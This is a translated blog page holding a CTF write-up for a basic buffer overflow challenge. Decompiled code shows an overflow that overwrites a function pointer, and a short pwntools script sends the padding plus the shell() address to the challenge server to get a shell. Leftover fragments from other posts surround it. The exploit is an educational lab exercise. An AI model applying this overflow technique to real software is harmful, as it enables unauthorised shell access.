2021-09-09 · 2분
GrabCON CTF — Can You write-up
GrabCON pwnable 的 write-up(cancancan):先追了栈金丝雀泄露这条错误线索,后来发现 printf(buf) 在 offset 6 处存在 FSB,并用 win 函数覆盖 read 的 GOT 表项。
2021-09-09 · 1분
这篇文章发布已超过两年,内容可能已过时。
https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
int (*v5)(); // [esp+8Ch] [ebp-Ch]
v5 = sup;
fgets(s, 133, stdin);
v5();
return 0;
}
int shell()
{
return system("/bin/dash");
}
看起来是需要运行 shell 函数的题。BOF 在 fgets 处触发。payload dummy[128] + shell 应该能解决。你可能好奇为什么连返回地址都不覆盖——再看一遍代码。有一处会运行名为 v5 的函数。只要把从 s 到 v5 之前用 dummy 填满,再把 v5 的地址改成 shell 地址,那么运行 v5(); 那部分时就等同于运行 shell 函数。

别太纠结于自己已知的技法,边看代码边解题会解得更轻松。
源代码
查看更多
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3001)
e = ELF("./bof_basic2")
shell = e.symbols['shell']
offset = 128
payload = b'A'*128 + p32(shell)
p.send(payload)
p.interactive()
**[黑客/系统黑客] - [系统黑客] Buffer Overflow (BOF)**](https://nabomhalang.tistory.com/entry/시스템해킹-HackCTF-BasicBOF-1) [[系统黑客] Buffer Overflow (BOF) BUFFER OVERFLOW BOF 是当能接收比所设缓冲区大小更大的输入时产生的漏洞。int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h.. > — nabomhalang.t — nabomhalang.tistory.com
原文(韩语): tistory — 发布于 2021-09-09,已迁移至本博客。本翻译由 AI 协助完成。
…